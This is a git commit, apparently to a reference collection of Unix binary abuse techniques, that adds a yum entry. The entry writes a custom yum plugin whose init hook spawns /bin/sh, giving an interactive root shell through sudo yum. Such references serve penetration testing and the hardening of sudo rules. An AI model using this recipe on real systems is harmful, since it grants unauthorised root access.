Update sudo yum by loading a custom plugin (#58)

This commit is contained in:
Rich Mirch 2019-04-06 15:51:33 -05:00 committed by Emilio
parent b9a262c600
commit 3702ec4d53

View File

@ -10,4 +10,30 @@ functions:
``` ```
code: | code: |
sudo yum localinstall -y x-1.0-1.noarch.rpm sudo yum localinstall -y x-1.0-1.noarch.rpm
- description: |
Spawn interactive root shell by loading a custom plugin.
code: |
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF
sudo yum -c $TF/x --enableplugin=y
--- ---